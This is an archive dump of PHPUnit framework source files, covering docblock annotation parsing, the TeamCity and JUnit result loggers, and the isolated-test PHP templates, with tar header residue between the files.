$this->methodDocBlocks[$classInHierarchy][$method] = DocBlock::ofMethod($reflection, $classInHierarchy); } } res/readability/vendor/phpunit/phpunit/src/Util/Annotation/DocBlock.php000064400000043254147577714370022346 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Annotation; use const JSON_ERROR_NONE; use const PREG_OFFSET_CAPTURE; use function array_filter; use function array_key_exists; use function array_map; use function array_merge; use function array_pop; use function array_slice; use function array_values; use function count; use function explode; use function file; use function implode; use function is_array; use function is_int; use function json_decode; use function json_last_error; use function json_last_error_msg; use function preg_match; use function preg_match_all; use function preg_replace; use function preg_split; use function realpath; use function rtrim; use function sprintf; use function str_replace; use function strlen; use function strpos; use function strtolower; use function substr; use function trim; use PharIo\Version\VersionConstraintParser; use PHPUnit\Framework\InvalidDataProviderException; use PHPUnit\Framework\SkippedTestError; use PHPUnit\Framework\Warning; use PHPUnit\Util\Exception; use PHPUnit\Util\InvalidDataSetException; use ReflectionClass; use ReflectionException; use ReflectionFunctionAbstract; use ReflectionMethod; use Reflector; use Traversable; /** * This is an abstraction around a PHPUnit-specific docBlock, * allowing us to ask meaningful questions about a specific * reflection symbol. * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class DocBlock { /** * @todo This constant should be private (it's public because of TestTest::testGetProvidedDataRegEx) */ public const REGEX_DATA_PROVIDER = '/@dataProvider\s+([a-zA-Z0-9._:-\\\\x7f-\xff]+)/'; private const REGEX_REQUIRES_VERSION = '/@requires\s+(?PPHP(?:Unit)?)\s+(?P[<>=!]{0,2})\s*(?P[\d\.-]+(dev|(RC|alpha|beta)[\d\.])?)[ \t]*\r?$/m'; private const REGEX_REQUIRES_VERSION_CONSTRAINT = '/@requires\s+(?PPHP(?:Unit)?)\s+(?P[\d\t \-.|~^]+)[ \t]*\r?$/m'; private const REGEX_REQUIRES_OS = '/@requires\s+(?POS(?:FAMILY)?)\s+(?P.+?)[ \t]*\r?$/m'; private const REGEX_REQUIRES_SETTING = '/@requires\s+(?Psetting)\s+(?P([^ ]+?))\s*(?P[\w\.-]+[\w\.]?)?[ \t]*\r?$/m'; private const REGEX_REQUIRES = '/@requires\s+(?Pfunction|extension)\s+(?P([^\s<>=!]+))\s*(?P[<>=!]{0,2})\s*(?P[\d\.-]+[\d\.]?)?[ \t]*\r?$/m'; private const REGEX_TEST_WITH = '/@testWith\s+/'; /** @var string */ private $docComment; /** @var bool */ private $isMethod; /** @var array> pre-parsed annotations indexed by name and occurrence index */ private $symbolAnnotations; /** * @var null|array * * @psalm-var null|(array{ * __OFFSET: array&array{__FILE: string}, * setting?: array, * extension_versions?: array * }&array< * string, * string|array{version: string, operator: string}|array{constraint: string}|array * >) */ private $parsedRequirements; /** @var int */ private $startLine; /** @var int */ private $endLine; /** @var string */ private $fileName; /** @var string */ private $name; /** * @var string * * @psalm-var class-string */ private $className; public static function ofClass(ReflectionClass $class): self { $className = $class->getName(); return new self( (string) $class->getDocComment(), false, self::extractAnnotationsFromReflector($class), $class->getStartLine(), $class->getEndLine(), $class->getFileName(), $className, $className ); } /** * @psalm-param class-string $classNameInHierarchy */ public static function ofMethod(ReflectionMethod $method, string $classNameInHierarchy): self { return new self( (string) $method->getDocComment(), true, self::extractAnnotationsFromReflector($method), $method->getStartLine(), $method->getEndLine(), $method->getFileName(), $method->getName(), $classNameInHierarchy ); } /** * Note: we do not preserve an instance of the reflection object, since it cannot be safely (de-)serialized. * * @param array> $symbolAnnotations * * @psalm-param class-string $className */ private function __construct(string $docComment, bool $isMethod, array $symbolAnnotations, int $startLine, int $endLine, string $fileName, string $name, string $className) { $this->docComment = $docComment; $this->isMethod = $isMethod; $this->symbolAnnotations = $symbolAnnotations; $this->startLine = $startLine; $this->endLine = $endLine; $this->fileName = $fileName; $this->name = $name; $this->className = $className; } /** * @psalm-return array{ * __OFFSET: array&array{__FILE: string}, * setting?: array, * extension_versions?: array * }&array< * string, * string|array{version: string, operator: string}|array{constraint: string}|array * > * * @throws Warning if the requirements version constraint is not well-formed */ public function requirements(): array { if ($this->parsedRequirements !== null) { return $this->parsedRequirements; } $offset = $this->startLine; $requires = []; $recordedSettings = []; $extensionVersions = []; $recordedOffsets = [ '__FILE' => realpath($this->fileName), ]; // Trim docblock markers, split it into lines and rewind offset to start of docblock $lines = preg_replace(['#^/\*{2}#', '#\*/$#'], '', preg_split('/\r\n|\r|\n/', $this->docComment)); $offset -= count($lines); foreach ($lines as $line) { if (preg_match(self::REGEX_REQUIRES_OS, $line, $matches)) { $requires[$matches['name']] = $matches['value']; $recordedOffsets[$matches['name']] = $offset; } if (preg_match(self::REGEX_REQUIRES_VERSION, $line, $matches)) { $requires[$matches['name']] = [ 'version' => $matches['version'], 'operator' => $matches['operator'], ]; $recordedOffsets[$matches['name']] = $offset; } if (preg_match(self::REGEX_REQUIRES_VERSION_CONSTRAINT, $line, $matches)) { if (!empty($requires[$matches['name']])) { $offset++; continue; } try { $versionConstraintParser = new VersionConstraintParser; $requires[$matches['name'] . '_constraint'] = [ 'constraint' => $versionConstraintParser->parse(trim($matches['constraint'])), ]; $recordedOffsets[$matches['name'] . '_constraint'] = $offset; } catch (\PharIo\Version\Exception $e) { throw new Warning($e->getMessage(), $e->getCode(), $e); } } if (preg_match(self::REGEX_REQUIRES_SETTING, $line, $matches)) { $recordedSettings[$matches['setting']] = $matches['value']; $recordedOffsets['__SETTING_' . $matches['setting']] = $offset; } if (preg_match(self::REGEX_REQUIRES, $line, $matches)) { $name = $matches['name'] . 's'; if (!isset($requires[$name])) { $requires[$name] = []; } $requires[$name][] = $matches['value']; $recordedOffsets[$matches['name'] . '_' . $matches['value']] = $offset; if ($name === 'extensions' && !empty($matches['version'])) { $extensionVersions[$matches['value']] = [ 'version' => $matches['version'], 'operator' => $matches['operator'], ]; } } $offset++; } return $this->parsedRequirements = array_merge( $requires, ['__OFFSET' => $recordedOffsets], array_filter([ 'setting' => $recordedSettings, 'extension_versions' => $extensionVersions, ]) ); } /** * Returns the provided data for a method. * * @throws Exception */ public function getProvidedData(): ?array { /** @noinspection SuspiciousBinaryOperationInspection */ $data = $this->getDataFromDataProviderAnnotation($this->docComment) ?? $this->getDataFromTestWithAnnotation($this->docComment); if ($data === null) { return null; } if ($data === []) { throw new SkippedTestError; } foreach ($data as $key => $value) { if (!is_array($value)) { throw new InvalidDataSetException( sprintf( 'Data set %s is invalid.', is_int($key) ? '#' . $key : '"' . $key . '"' ) ); } } return $data; } /** * @psalm-return array */ public function getInlineAnnotations(): array { $code = file($this->fileName); $lineNumber = $this->startLine; $startLine = $this->startLine - 1; $endLine = $this->endLine - 1; $codeLines = array_slice($code, $startLine, $endLine - $startLine + 1); $annotations = []; foreach ($codeLines as $line) { if (preg_match('#/\*\*?\s*@(?P[A-Za-z_-]+)(?:[ \t]+(?P.*?))?[ \t]*\r?\*/$#m', $line, $matches)) { $annotations[strtolower($matches['name'])] = [ 'line' => $lineNumber, 'value' => $matches['value'], ]; } $lineNumber++; } return $annotations; } public function symbolAnnotations(): array { return $this->symbolAnnotations; } public function isHookToBeExecutedBeforeClass(): bool { return $this->isMethod && false !== strpos($this->docComment, '@beforeClass'); } public function isHookToBeExecutedAfterClass(): bool { return $this->isMethod && false !== strpos($this->docComment, '@afterClass'); } public function isToBeExecutedBeforeTest(): bool { return 1 === preg_match('/@before\b/', $this->docComment); } public function isToBeExecutedAfterTest(): bool { return 1 === preg_match('/@after\b/', $this->docComment); } public function isToBeExecutedAsPreCondition(): bool { return 1 === preg_match('/@preCondition\b/', $this->docComment); } public function isToBeExecutedAsPostCondition(): bool { return 1 === preg_match('/@postCondition\b/', $this->docComment); } private function getDataFromDataProviderAnnotation(string $docComment): ?array { $methodName = null; $className = $this->className; if ($this->isMethod) { $methodName = $this->name; } if (!preg_match_all(self::REGEX_DATA_PROVIDER, $docComment, $matches)) { return null; } $result = []; foreach ($matches[1] as $match) { $dataProviderMethodNameNamespace = explode('\\', $match); $leaf = explode('::', array_pop($dataProviderMethodNameNamespace)); $dataProviderMethodName = array_pop($leaf); if (empty($dataProviderMethodNameNamespace)) { $dataProviderMethodNameNamespace = ''; } else { $dataProviderMethodNameNamespace = implode('\\', $dataProviderMethodNameNamespace) . '\\'; } if (empty($leaf)) { $dataProviderClassName = $className; } else { /** @psalm-var class-string $dataProviderClassName */ $dataProviderClassName = $dataProviderMethodNameNamespace . array_pop($leaf); } try { $dataProviderClass = new ReflectionClass($dataProviderClassName); $dataProviderMethod = $dataProviderClass->getMethod( $dataProviderMethodName ); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); // @codeCoverageIgnoreEnd } if ($dataProviderMethod->isStatic()) { $object = null; } else { $object = $dataProviderClass->newInstance(); } if ($dataProviderMethod->getNumberOfParameters() === 0) { $data = $dataProviderMethod->invoke($object); } else { $data = $dataProviderMethod->invoke($object, $methodName); } if ($data instanceof Traversable) { $origData = $data; $data = []; foreach ($origData as $key => $value) { if (is_int($key)) { $data[] = $value; } elseif (array_key_exists($key, $data)) { throw new InvalidDataProviderException( sprintf( 'The key "%s" has already been defined in the data provider "%s".', $key, $match ) ); } else { $data[$key] = $value; } } } if (is_array($data)) { $result = array_merge($result, $data); } } return $result; } /** * @throws Exception */ private function getDataFromTestWithAnnotation(string $docComment): ?array { $docComment = $this->cleanUpMultiLineAnnotation($docComment); if (!preg_match(self::REGEX_TEST_WITH, $docComment, $matches, PREG_OFFSET_CAPTURE)) { return null; } $offset = strlen($matches[0][0]) + $matches[0][1]; $annotationContent = substr($docComment, $offset); $data = []; foreach (explode("\n", $annotationContent) as $candidateRow) { $candidateRow = trim($candidateRow); if ($candidateRow[0] !== '[') { break; } $dataSet = json_decode($candidateRow, true); if (json_last_error() !== JSON_ERROR_NONE) { throw new Exception( 'The data set for the @testWith annotation cannot be parsed: ' . json_last_error_msg() ); } $data[] = $dataSet; } if (!$data) { throw new Exception('The data set for the @testWith annotation cannot be parsed.'); } return $data; } private function cleanUpMultiLineAnnotation(string $docComment): string { //removing initial ' * ' for docComment $docComment = str_replace("\r\n", "\n", $docComment); $docComment = preg_replace('/' . '\n' . '\s*' . '\*' . '\s?' . '/', "\n", $docComment); $docComment = (string) substr($docComment, 0, -1); return rtrim($docComment, "\n"); } /** @return array> */ private static function parseDocBlock(string $docBlock): array { // Strip away the docblock header and footer to ease parsing of one line annotations $docBlock = (string) substr($docBlock, 3, -2); $annotations = []; if (preg_match_all('/@(?P[A-Za-z_-]+)(?:[ \t]+(?P.*?))?[ \t]*\r?$/m', $docBlock, $matches)) { $numMatches = count($matches[0]); for ($i = 0; $i < $numMatches; $i++) { $annotations[$matches['name'][$i]][] = (string) $matches['value'][$i]; } } return $annotations; } /** @param ReflectionClass|ReflectionFunctionAbstract $reflector */ private static function extractAnnotationsFromReflector(Reflector $reflector): array { $annotations = []; if ($reflector instanceof ReflectionClass) { $annotations = array_merge( $annotations, ...array_map( static function (ReflectionClass $trait): array { return self::parseDocBlock((string) $trait->getDocComment()); }, array_values($reflector->getTraits()) ) ); } return array_merge( $annotations, self::parseDocBlock((string) $reflector->getDocComment()) ); } } res/readability/vendor/phpunit/phpunit/src/Util/Log/TeamCity.php000064400000024515147577714370021013 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Log; use function class_exists; use function count; use function explode; use function get_class; use function getmypid; use function ini_get; use function is_bool; use function is_scalar; use function method_exists; use function print_r; use function round; use function str_replace; use function stripos; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\ExceptionWrapper; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestFailure; use PHPUnit\Framework\TestResult; use PHPUnit\Framework\TestSuite; use PHPUnit\Framework\Warning; use PHPUnit\TextUI\DefaultResultPrinter; use PHPUnit\Util\Exception; use PHPUnit\Util\Filter; use ReflectionClass; use ReflectionException; use SebastianBergmann\Comparator\ComparisonFailure; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class TeamCity extends DefaultResultPrinter { /** * @var bool */ private $isSummaryTestCountPrinted = false; /** * @var string */ private $startedTestName; /** * @var false|int */ private $flowId; public function printResult(TestResult $result): void { $this->printHeader($result); $this->printFooter($result); } /** * An error occurred. */ public function addError(Test $test, Throwable $t, float $time): void { $this->printEvent( 'testFailed', [ 'name' => $test->getName(), 'message' => self::getMessage($t), 'details' => self::getDetails($t), 'duration' => self::toMilliseconds($time), ] ); } /** * A warning occurred. */ public function addWarning(Test $test, Warning $e, float $time): void { $this->write(self::getMessage($e) . PHP_EOL); } /** * A failure occurred. */ public function addFailure(Test $test, AssertionFailedError $e, float $time): void { $parameters = [ 'name' => $test->getName(), 'message' => self::getMessage($e), 'details' => self::getDetails($e), 'duration' => self::toMilliseconds($time), ]; if ($e instanceof ExpectationFailedException) { $comparisonFailure = $e->getComparisonFailure(); if ($comparisonFailure instanceof ComparisonFailure) { $expectedString = $comparisonFailure->getExpectedAsString(); if ($expectedString === null || empty($expectedString)) { $expectedString = self::getPrimitiveValueAsString($comparisonFailure->getExpected()); } $actualString = $comparisonFailure->getActualAsString(); if ($actualString === null || empty($actualString)) { $actualString = self::getPrimitiveValueAsString($comparisonFailure->getActual()); } if ($actualString !== null && $expectedString !== null) { $parameters['type'] = 'comparisonFailure'; $parameters['actual'] = $actualString; $parameters['expected'] = $expectedString; } } } $this->printEvent('testFailed', $parameters); } /** * Incomplete test. */ public function addIncompleteTest(Test $test, Throwable $t, float $time): void { $this->printIgnoredTest($test->getName(), $t, $time); } /** * Risky test. */ public function addRiskyTest(Test $test, Throwable $t, float $time): void { $this->addError($test, $t, $time); } /** * Skipped test. */ public function addSkippedTest(Test $test, Throwable $t, float $time): void { $testName = $test->getName(); if ($this->startedTestName !== $testName) { $this->startTest($test); $this->printIgnoredTest($testName, $t, $time); $this->endTest($test, $time); } else { $this->printIgnoredTest($testName, $t, $time); } } public function printIgnoredTest(string $testName, Throwable $t, float $time): void { $this->printEvent( 'testIgnored', [ 'name' => $testName, 'message' => self::getMessage($t), 'details' => self::getDetails($t), 'duration' => self::toMilliseconds($time), ] ); } /** * A testsuite started. */ public function startTestSuite(TestSuite $suite): void { if (stripos(ini_get('disable_functions'), 'getmypid') === false) { $this->flowId = getmypid(); } else { $this->flowId = false; } if (!$this->isSummaryTestCountPrinted) { $this->isSummaryTestCountPrinted = true; $this->printEvent( 'testCount', ['count' => count($suite)] ); } $suiteName = $suite->getName(); if (empty($suiteName)) { return; } $parameters = ['name' => $suiteName]; if (class_exists($suiteName, false)) { $fileName = self::getFileName($suiteName); $parameters['locationHint'] = "php_qn://{$fileName}::\\{$suiteName}"; } else { $split = explode('::', $suiteName); if (count($split) === 2 && class_exists($split[0]) && method_exists($split[0], $split[1])) { $fileName = self::getFileName($split[0]); $parameters['locationHint'] = "php_qn://{$fileName}::\\{$suiteName}"; $parameters['name'] = $split[1]; } } $this->printEvent('testSuiteStarted', $parameters); } /** * A testsuite ended. */ public function endTestSuite(TestSuite $suite): void { $suiteName = $suite->getName(); if (empty($suiteName)) { return; } $parameters = ['name' => $suiteName]; if (!class_exists($suiteName, false)) { $split = explode('::', $suiteName); if (count($split) === 2 && class_exists($split[0]) && method_exists($split[0], $split[1])) { $parameters['name'] = $split[1]; } } $this->printEvent('testSuiteFinished', $parameters); } /** * A test started. */ public function startTest(Test $test): void { $testName = $test->getName(); $this->startedTestName = $testName; $params = ['name' => $testName]; if ($test instanceof TestCase) { $className = get_class($test); $fileName = self::getFileName($className); $params['locationHint'] = "php_qn://{$fileName}::\\{$className}::{$testName}"; } $this->printEvent('testStarted', $params); } /** * A test ended. */ public function endTest(Test $test, float $time): void { parent::endTest($test, $time); $this->printEvent( 'testFinished', [ 'name' => $test->getName(), 'duration' => self::toMilliseconds($time), ] ); } protected function writeProgress(string $progress): void { } private function printEvent(string $eventName, array $params = []): void { $this->write("\n##teamcity[{$eventName}"); if ($this->flowId) { $params['flowId'] = $this->flowId; } foreach ($params as $key => $value) { $escapedValue = self::escapeValue((string) $value); $this->write(" {$key}='{$escapedValue}'"); } $this->write("]\n"); } private static function getMessage(Throwable $t): string { $message = ''; if ($t instanceof ExceptionWrapper) { if ($t->getClassName() !== '') { $message .= $t->getClassName(); } if ($message !== '' && $t->getMessage() !== '') { $message .= ' : '; } } return $message . $t->getMessage(); } private static function getDetails(Throwable $t): string { $stackTrace = Filter::getFilteredStacktrace($t); $previous = $t instanceof ExceptionWrapper ? $t->getPreviousWrapped() : $t->getPrevious(); while ($previous) { $stackTrace .= "\nCaused by\n" . TestFailure::exceptionToString($previous) . "\n" . Filter::getFilteredStacktrace($previous); $previous = $previous instanceof ExceptionWrapper ? $previous->getPreviousWrapped() : $previous->getPrevious(); } return ' ' . str_replace("\n", "\n ", $stackTrace); } private static function getPrimitiveValueAsString($value): ?string { if ($value === null) { return 'null'; } if (is_bool($value)) { return $value ? 'true' : 'false'; } if (is_scalar($value)) { return print_r($value, true); } return null; } private static function escapeValue(string $text): string { return str_replace( ['|', "'", "\n", "\r", ']', '['], ['||', "|'", '|n', '|r', '|]', '|['], $text ); } /** * @param string $className */ private static function getFileName($className): string { try { return (new ReflectionClass($className))->getFileName(); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd } /** * @param float $time microseconds */ private static function toMilliseconds(float $time): int { return (int) round($time * 1000); } } res/readability/vendor/phpunit/phpunit/src/Util/Log/JUnit.php000064400000026422147577714370020324 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Util\Log; use function class_exists; use function get_class; use function method_exists; use function sprintf; use function str_replace; use function trim; use DOMDocument; use DOMElement; use PHPUnit\Framework\AssertionFailedError; use PHPUnit\Framework\ExceptionWrapper; use PHPUnit\Framework\SelfDescribing; use PHPUnit\Framework\Test; use PHPUnit\Framework\TestFailure; use PHPUnit\Framework\TestListener; use PHPUnit\Framework\TestSuite; use PHPUnit\Framework\Warning; use PHPUnit\Util\Exception; use PHPUnit\Util\Filter; use PHPUnit\Util\Printer; use PHPUnit\Util\Xml; use ReflectionClass; use ReflectionException; use Throwable; /** * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class JUnit extends Printer implements TestListener { /** * @var DOMDocument */ private $document; /** * @var DOMElement */ private $root; /** * @var bool */ private $reportRiskyTests = false; /** * @var DOMElement[] */ private $testSuites = []; /** * @var int[] */ private $testSuiteTests = [0]; /** * @var int[] */ private $testSuiteAssertions = [0]; /** * @var int[] */ private $testSuiteErrors = [0]; /** * @var int[] */ private $testSuiteWarnings = [0]; /** * @var int[] */ private $testSuiteFailures = [0]; /** * @var int[] */ private $testSuiteSkipped = [0]; /** * @var int[] */ private $testSuiteTimes = [0]; /** * @var int */ private $testSuiteLevel = 0; /** * @var DOMElement */ private $currentTestCase; /** * @param null|mixed $out */ public function __construct($out = null, bool $reportRiskyTests = false) { $this->document = new DOMDocument('1.0', 'UTF-8'); $this->document->formatOutput = true; $this->root = $this->document->createElement('testsuites'); $this->document->appendChild($this->root); parent::__construct($out); $this->reportRiskyTests = $reportRiskyTests; } /** * Flush buffer and close output. */ public function flush(): void { $this->write($this->getXML()); parent::flush(); } /** * An error occurred. */ public function addError(Test $test, Throwable $t, float $time): void { $this->doAddFault($test, $t, 'error'); $this->testSuiteErrors[$this->testSuiteLevel]++; } /** * A warning occurred. */ public function addWarning(Test $test, Warning $e, float $time): void { $this->doAddFault($test, $e, 'warning'); $this->testSuiteWarnings[$this->testSuiteLevel]++; } /** * A failure occurred. */ public function addFailure(Test $test, AssertionFailedError $e, float $time): void { $this->doAddFault($test, $e, 'failure'); $this->testSuiteFailures[$this->testSuiteLevel]++; } /** * Incomplete test. */ public function addIncompleteTest(Test $test, Throwable $t, float $time): void { $this->doAddSkipped(); } /** * Risky test. */ public function addRiskyTest(Test $test, Throwable $t, float $time): void { if (!$this->reportRiskyTests) { return; } $this->doAddFault($test, $t, 'error'); $this->testSuiteErrors[$this->testSuiteLevel]++; } /** * Skipped test. */ public function addSkippedTest(Test $test, Throwable $t, float $time): void { $this->doAddSkipped(); } /** * A testsuite started. */ public function startTestSuite(TestSuite $suite): void { $testSuite = $this->document->createElement('testsuite'); $testSuite->setAttribute('name', $suite->getName()); if (class_exists($suite->getName(), false)) { try { $class = new ReflectionClass($suite->getName()); $testSuite->setAttribute('file', $class->getFileName()); } catch (ReflectionException $e) { } } if ($this->testSuiteLevel > 0) { $this->testSuites[$this->testSuiteLevel]->appendChild($testSuite); } else { $this->root->appendChild($testSuite); } $this->testSuiteLevel++; $this->testSuites[$this->testSuiteLevel] = $testSuite; $this->testSuiteTests[$this->testSuiteLevel] = 0; $this->testSuiteAssertions[$this->testSuiteLevel] = 0; $this->testSuiteErrors[$this->testSuiteLevel] = 0; $this->testSuiteWarnings[$this->testSuiteLevel] = 0; $this->testSuiteFailures[$this->testSuiteLevel] = 0; $this->testSuiteSkipped[$this->testSuiteLevel] = 0; $this->testSuiteTimes[$this->testSuiteLevel] = 0; } /** * A testsuite ended. */ public function endTestSuite(TestSuite $suite): void { $this->testSuites[$this->testSuiteLevel]->setAttribute( 'tests', (string) $this->testSuiteTests[$this->testSuiteLevel] ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'assertions', (string) $this->testSuiteAssertions[$this->testSuiteLevel] ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'errors', (string) $this->testSuiteErrors[$this->testSuiteLevel] ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'warnings', (string) $this->testSuiteWarnings[$this->testSuiteLevel] ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'failures', (string) $this->testSuiteFailures[$this->testSuiteLevel] ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'skipped', (string) $this->testSuiteSkipped[$this->testSuiteLevel] ); $this->testSuites[$this->testSuiteLevel]->setAttribute( 'time', sprintf('%F', $this->testSuiteTimes[$this->testSuiteLevel]) ); if ($this->testSuiteLevel > 1) { $this->testSuiteTests[$this->testSuiteLevel - 1] += $this->testSuiteTests[$this->testSuiteLevel]; $this->testSuiteAssertions[$this->testSuiteLevel - 1] += $this->testSuiteAssertions[$this->testSuiteLevel]; $this->testSuiteErrors[$this->testSuiteLevel - 1] += $this->testSuiteErrors[$this->testSuiteLevel]; $this->testSuiteWarnings[$this->testSuiteLevel - 1] += $this->testSuiteWarnings[$this->testSuiteLevel]; $this->testSuiteFailures[$this->testSuiteLevel - 1] += $this->testSuiteFailures[$this->testSuiteLevel]; $this->testSuiteSkipped[$this->testSuiteLevel - 1] += $this->testSuiteSkipped[$this->testSuiteLevel]; $this->testSuiteTimes[$this->testSuiteLevel - 1] += $this->testSuiteTimes[$this->testSuiteLevel]; } $this->testSuiteLevel--; } /** * A test started. */ public function startTest(Test $test): void { $usesDataprovider = false; if (method_exists($test, 'usesDataProvider')) { $usesDataprovider = $test->usesDataProvider(); } $testCase = $this->document->createElement('testcase'); $testCase->setAttribute('name', $test->getName()); try { $class = new ReflectionClass($test); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $methodName = $test->getName(!$usesDataprovider); if ($class->hasMethod($methodName)) { try { $method = $class->getMethod($methodName); // @codeCoverageIgnoreStart } catch (ReflectionException $e) { throw new Exception( $e->getMessage(), (int) $e->getCode(), $e ); } // @codeCoverageIgnoreEnd $testCase->setAttribute('class', $class->getName()); $testCase->setAttribute('classname', str_replace('\\', '.', $class->getName())); $testCase->setAttribute('file', $class->getFileName()); $testCase->setAttribute('line', (string) $method->getStartLine()); } $this->currentTestCase = $testCase; } /** * A test ended. */ public function endTest(Test $test, float $time): void { $numAssertions = 0; if (method_exists($test, 'getNumAssertions')) { $numAssertions = $test->getNumAssertions(); } $this->testSuiteAssertions[$this->testSuiteLevel] += $numAssertions; $this->currentTestCase->setAttribute( 'assertions', (string) $numAssertions ); $this->currentTestCase->setAttribute( 'time', sprintf('%F', $time) ); $this->testSuites[$this->testSuiteLevel]->appendChild( $this->currentTestCase ); $this->testSuiteTests[$this->testSuiteLevel]++; $this->testSuiteTimes[$this->testSuiteLevel] += $time; $testOutput = ''; if (method_exists($test, 'hasOutput') && method_exists($test, 'getActualOutput')) { $testOutput = $test->hasOutput() ? $test->getActualOutput() : ''; } if (!empty($testOutput)) { $systemOut = $this->document->createElement( 'system-out', Xml::prepareString($testOutput) ); $this->currentTestCase->appendChild($systemOut); } $this->currentTestCase = null; } /** * Returns the XML as a string. */ public function getXML(): string { return $this->document->saveXML(); } private function doAddFault(Test $test, Throwable $t, string $type): void { if ($this->currentTestCase === null) { return; } if ($test instanceof SelfDescribing) { $buffer = $test->toString() . "\n"; } else { $buffer = ''; } $buffer .= trim( TestFailure::exceptionToString($t) . "\n" . Filter::getFilteredStacktrace($t) ); $fault = $this->document->createElement( $type, Xml::prepareString($buffer) ); if ($t instanceof ExceptionWrapper) { $fault->setAttribute('type', $t->getClassName()); } else { $fault->setAttribute('type', get_class($t)); } $this->currentTestCase->appendChild($fault); } private function doAddSkipped(): void { if ($this->currentTestCase === null) { return; } $skipped = $this->document->createElement('skipped'); $this->currentTestCase->appendChild($skipped); $this->testSuiteSkipped[$this->testSuiteLevel]++; } } res/readability/vendor/phpunit/phpunit/src/Util/PHP/Template/TestCaseMethod.tpl000064400000006657147577714370023650 0ustar00{driverMethod}($filter), $filter ); if ({cachesStaticAnalysis}) { $codeCoverage->cacheStaticAnalysis(unserialize('{codeCoverageCacheDirectory}')); } $result->setCodeCoverage($codeCoverage); } $result->beStrictAboutTestsThatDoNotTestAnything({isStrictAboutTestsThatDoNotTestAnything}); $result->beStrictAboutOutputDuringTests({isStrictAboutOutputDuringTests}); $result->enforceTimeLimit({enforcesTimeLimit}); $result->beStrictAboutTodoAnnotatedTests({isStrictAboutTodoAnnotatedTests}); $result->beStrictAboutResourceUsageDuringSmallTests({isStrictAboutResourceUsageDuringSmallTests}); $test = new {className}('{methodName}', unserialize('{data}'), '{dataName}'); \assert($test instanceof TestCase); $test->setDependencyInput(unserialize('{dependencyInput}')); $test->setInIsolation(true); ob_end_clean(); $test->run($result); $output = ''; if (!$test->hasExpectationOnOutput()) { $output = $test->getActualOutput(); } ini_set('xdebug.scream', '0'); @rewind(STDOUT); /* @ as not every STDOUT target stream is rewindable */ if ($stdout = @stream_get_contents(STDOUT)) { $output = $stdout . $output; $streamMetaData = stream_get_meta_data(STDOUT); if (!empty($streamMetaData['stream_type']) && 'STDIO' === $streamMetaData['stream_type']) { @ftruncate(STDOUT, 0); @rewind(STDOUT); } } print serialize( [ 'testResult' => $test->getResult(), 'numAssertions' => $test->getNumAssertions(), 'result' => $result, 'output' => $output ] ); } $configurationFilePath = '{configurationFilePath}'; if ('' !== $configurationFilePath) { $configuration = (new Loader)->load($configurationFilePath); (new PhpHandler)->handle($configuration->php()); unset($configuration); } function __phpunit_error_handler($errno, $errstr, $errfile, $errline) { return true; } set_error_handler('__phpunit_error_handler'); {constants} {included_files} {globals} restore_error_handler(); if (isset($GLOBALS['__PHPUNIT_BOOTSTRAP'])) { require_once $GLOBALS['__PHPUNIT_BOOTSTRAP']; unset($GLOBALS['__PHPUNIT_BOOTSTRAP']); } __phpunit_run_isolated_test(); res/readability/vendor/phpunit/phpunit/src/Util/PHP/Template/TestCaseClass.tpl000064400000006540147577714370023464 0ustar00{driverMethod}($filter), $filter ); if ({cachesStaticAnalysis}) { $codeCoverage->cacheStaticAnalysis(unserialize('{codeCoverageCacheDirectory}')); } $result->setCodeCoverage($codeCoverage); } $result->beStrictAboutTestsThatDoNotTestAnything({isStrictAboutTestsThatDoNotTestAnything}); $result->beStrictAboutOutputDuringTests({isStrictAboutOutputDuringTests}); $result->enforceTimeLimit({enforcesTimeLimit}); $result->beStrictAboutTodoAnnotatedTests({isStrictAboutTodoAnnotatedTests}); $result->beStrictAboutResourceUsageDuringSmallTests({isStrictAboutResourceUsageDuringSmallTests}); $test = new {className}('{name}', unserialize('{data}'), '{dataName}'); $test->setDependencyInput(unserialize('{dependencyInput}')); $test->setInIsolation(TRUE); ob_end_clean(); $test->run($result); $output = ''; if (!$test->hasExpectationOnOutput()) { $output = $test->getActualOutput(); } ini_set('xdebug.scream', '0'); @rewind(STDOUT); /* @ as not every STDOUT target stream is rewindable */ if ($stdout = @stream_get_contents(STDOUT)) { $output = $stdout . $output; $streamMetaData = stream_get_meta_data(STDOUT); if (!empty($streamMetaData['stream_type']) && 'STDIO' === $streamMetaData['stream_type']) { @ftruncate(STDOUT, 0); @rewind(STDOUT); } } print serialize( [ 'testResult' => $test->getResult(), 'numAssertions' => $test->getNumAssertions(), 'result' => $result, 'output' => $output ] ); } $configurationFilePath = '{configurationFilePath}'; if ('' !== $configurationFilePath) { $configuration = (new Loader)->load($configurationFilePath); (new PhpHandler)->handle($configuration->php()); unset($configuration); } function __phpunit_error_handler($errno, $errstr, $errfile, $errline) { return true; } set_error_handler('__phpunit_error_handler'); {constants} {included_files} {globals} restore_error_handler(); if (isset($GLOBALS['__PHPUNIT_BOOTSTRAP'])) { require_once $GLOBALS['__PHPUNIT_BOOTSTRAP']; unset($GLOBALS['__PHPUNIT_BOOTSTRAP']); } __phpunit_run_isolated_test(); res/readability/vendor/phpunit/phpunit/src/Util/PHP/Template/PhptTestCase.tpl000064400000002270147577714370023326 0ustar00{driverMethod}($filter), $filter ); if ({codeCoverageCacheDirectory}) { 